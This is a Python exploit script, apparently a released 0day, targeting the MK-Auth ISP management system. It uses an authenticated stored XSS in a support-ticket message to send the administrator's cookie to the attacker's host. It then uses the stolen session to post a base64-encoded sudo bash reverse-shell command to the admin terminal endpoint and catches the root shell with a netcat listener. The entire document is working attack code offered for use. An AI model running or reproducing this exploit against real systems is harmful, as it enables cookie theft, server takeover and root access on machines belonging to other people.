#!/usr/bin/python
#
# 0day - Authenticated Stored XSS that leads to root!
#
import requests
import sys
import getopt
import re
import os
import threading
import socket
import base64

kitsun3 = '''
@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@&&&&&&&@@@@@@@@@@@@@@@@@@@@&&&&&&@@@@@@@@@@@@@
@@@@@@@@@@@@#&&&&&&&&@@@@@@@@@@@@@@@@@@@@&&&&&&&@@@@@@@@@@@@
@@@@@@@@@@@@&&&. .&&&&@@@@@@@@@@@@@@@@@@&&&. .&&&@@@@@@@@@@@
@@@@@@@@@@@&&&&   &&&&&@@@@@@@@@@@@@@@&&&&&   &&&&@@@@@@@@@@
@@@@@@@@@@@&&&..  ,%&&&&@%%%%%%%%%%%@&&&&&,  ..&&&@@@@@@@@@@
@@@@@@@@@@&%%%..* *#%%%%*************%%%%%* *..%%%@@@@@@@@@@
@@@@@@@@%%%%%%.*******************************.%%%%%%@@@@@@@
@@@@@@@@%,..**************************************..%@@@@@@@
@@@@@@@@@%*.***************************************%@@@@@@@@
@@@@@@@%%.(#.*************,*******,*************.,(.%%@@@@@@
@@@@@@@%..,,.*.****((****, ,*****, ,****/#****.*..,..%@@@@@@
@@@@@@@@@%*...*****%&&*****************#&&*****...*%@@@@@@@@
@@@@@@@@%%%%%%..****(&&***************&&%****..%%%%%%@@@@@@@
@@@@@@@@@%*......******&*************&/*****......*%@@@@@@@@
@@@@@@@@@@@@@@%###..,********************,.###%@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@%%.***************.(&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%.***********.%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@%.*********.%@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@#.&&&&&.#@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%@@@@@@@@@@@@@@@@@@@@@@@@@@@
'''

target = ''
cookies = ''
user = ''
password = ''
local_port = ''
local_ip = ''
admin_cookie = 'Kitsun3Sec'
payload = ''

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": target+"/central/executar_login.php", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Pragma": "no-cache", "Cache-Control": "no-cache"}

def show_help():
    print("\n\t*********************************")
    print("\t  MK-Auth Exploit by Kitsun3Sec  ")
    print("\t  By: alacerda (velocista)       ")
    print("\t  Thanks to: fcsantos (shadow)   ")
    print("\t*********************************")
    print("\nINFO:\n\nThis exploit opens up a temporary listener on port 8081 to steal the Administrator's auth cookie and, after that, starts a netcat listener on the port choosen by the attacker and waits for the moment when the administrator opens the malicious message (a bad \"chamado\"). Once the Administrator opens the message, you will receive a root shell back!\n")
    print("Usage.: " + sys.argv[0] + " <args>\n")
    print("ARGS:")
    print("\t-t:\t Target IP address (Mk-Auth IP)")
    print("\t-l:\t Local IP address (Your IP)")
    print("\t-p:\t Local PORT for Reverse Shell")
    print("\t-U:\t Username (valid client username)")
    print("\t-P:\t Password (valid password for the client)")
    print("\t-h:\t This help")

    print("\nEXAMPLE\n")
    print("If the target server has the IP address 192.168.25.136, your IP address is 192.168.25.137 and you want to receive the reverse shell on port 9090:\n")
    print("\t" + sys.argv[0] + " -t 192.168.25.136 -U myuser -P password123 -l 192.168.25.137 -p 9090")

    print("\n")
    sys.exit(0)

def open_reverse():
    url = target+"/admin/terminal.php"
    goodEvil = base64.b64encode("sudo bash -i >& /dev/tcp/" + local_ip +"/" + local_port + " 0>&1")
    data = {"comando": "sleep 5; echo " + goodEvil + " | base64 -d | bash", "terminal": "linux"}
    target_resp = requests.post(url, headers=headers, cookies=admin_cookie, data=data)

def goingForTheKill():
    ists = threading.Thread(target=open_reverse)
    ists.start()
    os.system("nc -nlvp " + local_port)

def listen_admin_cookie():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(("",8081))
    sock.listen(1)
    connection, client_address = sock.accept()
    return connection.recv(1024)

def wait_admin():
    global admin_cookie

    while "centralmka2" not in admin_cookie:
        admin_cookie = listen_admin_cookie()

    tmp = admin_cookie
    admin_cookie = {"centralmka2": tmp.split()[1].split('=')[1].split(';')[0], "mka": tmp.split()[1].split('=')[2]}

    print("We just recieved a cookie... Lets try it!")
    goingForTheKill()

def abrir_chamado():
    url = target+"/central/suporte.php?page=ins_chamado"
    chamado_resp = requests.get(url, headers=headers, cookies=cookies)

    protocolo = re.findall(r'.*txt_chamado" value="(.*)"', chamado_resp.text)
    print("Chamado N.: " + protocolo[0])

    url = target+"/central/executar_central.php?acao=ins_chamado"
    data = {"assunto": "Financeiro", "msg": payload, "nome": "Kitsun3Sec", "email": "kitsun3@sec.br", "chamado": protocolo[0], "abertura": "22/03/2020 21:37:42"}
    criar_resp = requests.post(url, headers=headers, cookies=cookies, data=data)
    #print(criar_resp.text)
    if criar_resp.status_code == 200:
        print("Payload sent.Let us wait for the admin token...")
        wait_admin()

def login():
    global cookies
    url = target+"/central/login.php"
    resp = requests.get(url, headers=headers)

    #Cookies @ resp.cookies
    cookies = resp.cookies

    #CSRF-Token @ csrf_token[0]
    csrf_token = re.findall(r'.*token_central" value="(.*)"', resp.text)

    url = target+"/central/executar_login.php"
    data = {"token_central": csrf_token[0], "txt_login": user, "txt_senha": password}
    login_resp = requests.post(url, headers=headers, cookies=cookies, data=data)

    if login_resp.status_code == 200:
        print(" \\0/")
        print("We are logged in!")
        abrir_chamado()
    else:
        print("':( ")
        print("Login Failed! Are you sure your credential is valid?")

def main(argv):
    print(kitsun3)
    global target
    global user
    global password
    global local_port
    global local_ip
    global payload

    try:
        opts, args = getopt.getopt(argv,"t:l:p:hU:P:")
    except getopt.GetoptError:
        show_help()

    for opt, arg in opts:
        if opt == '-h':
            show_help()
        # target
        elif opt == '-t':
            target = "http://"+arg
        # Local IP
        elif opt == '-l':
            local_ip = arg
            payload = "<script>new Image().src=\"http://" + local_ip + ":8081/\"+document.cookie;</script>"
        # Local port for reverse shell
        elif opt == '-p':
            local_port = arg
        elif opt == '-U':
            user = arg
        elif opt == '-P':
            password = arg
        else:
            show_help()

    login()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        show_help()
    main(sys.argv[1:])
